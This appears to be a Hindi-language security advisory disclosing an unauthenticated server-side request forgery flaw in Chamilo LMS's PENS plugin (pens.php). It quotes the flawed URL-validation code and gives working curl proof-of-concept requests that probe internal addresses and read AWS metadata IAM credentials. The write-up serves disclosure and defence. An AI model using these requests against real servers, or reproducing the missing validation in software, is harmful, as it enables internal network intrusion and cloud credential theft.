
# Chamilo LMS में PENS प्लगइन (pens.php) के माध्यम से अनप्रमाणित SSRF — CVSS 7.5
गंभीरता: उच्च (CVSS 7.5)
CWE: CWE-918 (सर्वर-साइड रिक्वेस्ट फोर्जरी)
प्रभावित: chamilo/chamilo-lms 2.x (कमिट af6b7002 और पहले)
सलाह: GHSA-g2xj-4cch-j276
NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-34160
PENS (पैकेज एक्सचेंज नोटिफिकेशन सर्विसेज) प्लगइन एंडपॉइंट public/plugin/Pens/pens.php बिना प्रमाणीकरण के सुलभ है और पैकेज डाउनलोड और कॉलबैक सूचनाओं दोनों के लिए उपयोगकर्ता-नियंत्रित URL स्वीकार करता है। URL सत्यापन फ़ंक्शन स्कीम और होस्ट की उपस्थिति की जाँच करते हैं लेकिन कोई निजी IP फ़िल्टरिंग नहीं करते, जिससे आंतरिक नेटवर्क और क्लाउड मेटाडेटा सेवाओं में बिना प्रमाणीकरण के SSRF संभव होता है।
Chamilo के install.ajax.php में CVE-2026-33715 खोजने के बाद, मैंने नेटवर्क-पक्ष प्रभावों वाले अन्य बिना प्रमाणीकरण वाले एंडपॉइंट्स के लिए कोडबेस का ऑडिट करना जारी रखा। PENS प्लगइन (public/plugin/Pens/) सबसे अलग था: PENS एक विरासत ई-लर्निंग सामग्री वितरण प्रोटोकॉल है जिसमें बाहरी URL से पैकेज लाना और बाहरी सर्वरों को कॉलबैक भेजना शामिल है — दोनों क्लासिक SSRF सतहें हैं।
मैंने URL सत्यापन तर्क की तलाश में PensProcessor.php पढ़ा। isAllowedDownloadUrl() और isAllowedCallbackUrl() दोनों स्कीम (http/https) और गैर-रिक्त होस्ट की जाँच करते हैं — और वहीं रुक जाते हैं। कोई RFC 1918 फ़िल्टरिंग नहीं, कोई लूपबैक जाँच नहीं, कोई लिंक-लोकल जाँच नहीं। टिप्पणी भी होस्ट जाँच के बाद "returns true" कहती है, जिससे यह स्पष्ट हो गया कि यह SSRF को ध्यान में रखे बिना लिखा गया था।
इसे पिछले Chamilo CVE से अलग करने वाली बात: इसमें दो स्वतंत्र SSRF वेक्टर हैं — एक पैकेज फ़ेच के लिए (सर्वर हमलावर-नियंत्रित URL से फ़ाइल खींचता है) और एक कॉलबैक के लिए (सर्वर हमलावर-नियंत्रित एंडपॉइंट्स पर POST करता है)। कॉलबैक वेक्टर आंतरिक सेवा प्रतिक्रियाओं को बाहर निकालने के लिए विशेष रूप से उपयोगी है, क्योंकि सर्वर PENS स्थिति डेटा को आपके निर्दिष्ट किसी भी URL पर POST करेगा, और आप प्रतिक्रिया पार्सिंग को नियंत्रित करते हैं।
क्लाउड परिनियोजनों पर, 169.254.169.254 मेटाडेटा एंडपॉइंट दोनों वेक्टरों के माध्यम से पहुंच योग्य है।
फ़ाइल: public/plugin/Pens/lib/PensProcessor.php
दो अलग SSRF वेक्टर:
वेक्टर 1 — पैकेज URL फ़ेच (पंक्तियाँ 376, 138):
private function isAllowedDownloadUrl(string $url): bool
{
$parts = parse_url($url);
$scheme = strtolower((string) ($parts['scheme'] ?? ''));
if (!in_array($scheme, ['http', 'https'], true)) { return false; }
$host = strtolower((string) ($parts['host'] ?? ''));
if ('' === $host) { return false; }
return true; // ← कोई निजी IP जाँच नहीं
}
// फिर curl के साथ लाया जाता है:
curl_setopt($curlHandle, CURLOPT_URL, $request->getPackageUrl());
$result = curl_exec($curlHandle);
वेक्टर 2 — कॉलबैक SSRF (पंक्ति 318): receipt और alerts पैरामीटर उन URL को निर्दिष्ट करते हैं जहाँ सर्वर POST कॉलबैक भेजता है — वही अनुपस्थित सत्यापन।
isAllowedDownloadUrl() और isAllowedCallbackUrl() केवल यह सत्यापित करते हैं कि URL में http/https स्कीम और गैर-रिक्त होस्ट है। RFC 1918 निजी रेंज (10.x, 172.16.x, 192.168.x), लूपबैक (127.x), लिंक-लोकल (169.254.x — क्लाउड मेटाडेटा), और IPv6 समकक्ष सभी स्वीकार किए जाते हैं।
# वेक्टर 1: पैकेज-url के माध्यम से आंतरिक नेटवर्क की जाँच करें
curl -X POST "http://<target>/plugin/Pens/pens.php" \
-d "pens-command=collect-package" \
-d "package-url=http://192.168.1.1:80/" \
-d "package-format=SCORM-2004-3rd" \
-d "package-id=test-123" \
-d "client=test" \
-d "system-user=test"
# AWS मेटाडेटा एंडपॉइंट
curl -X POST "http://<target>/plugin/Pens/pens.php" \
-d "pens-command=collect-package" \
-d "package-url=http://169.254.169.254/latest/meta-data/iam/security-credentials/" \
-d "package-format=SCORM-2004-3rd" \
-d "package-id=test" \
-d "client=test" \
-d "system-user=test"
# वेक्टर 2: कॉलबैक SSRF — सर्वर हमलावर-नियंत्रित आंतरिक एंडपॉइंट पर POST करता है
curl -X POST "http://<target>/plugin/Pens/pens.php" \
-d "pens-command=collect-package" \
-d "package-url=http://example.com/legit.zip" \
-d "receipt=http://10.0.0.50:8080/internal-endpoint" \
-d "package-format=SCORM-2004-3rd" \
-d "package-id=test" \
-d "client=test" \
-d "system-user=test"
169.254.169.254 के माध्यम से IAM क्रेडेंशियल लानानोट: यह CVE-2022-27426 (सोशल/लिंक्स टूल्स में SSRF) से अलग है — अलग कोड पथ, अलग प्लगइन, बिना प्रमाणीकरण।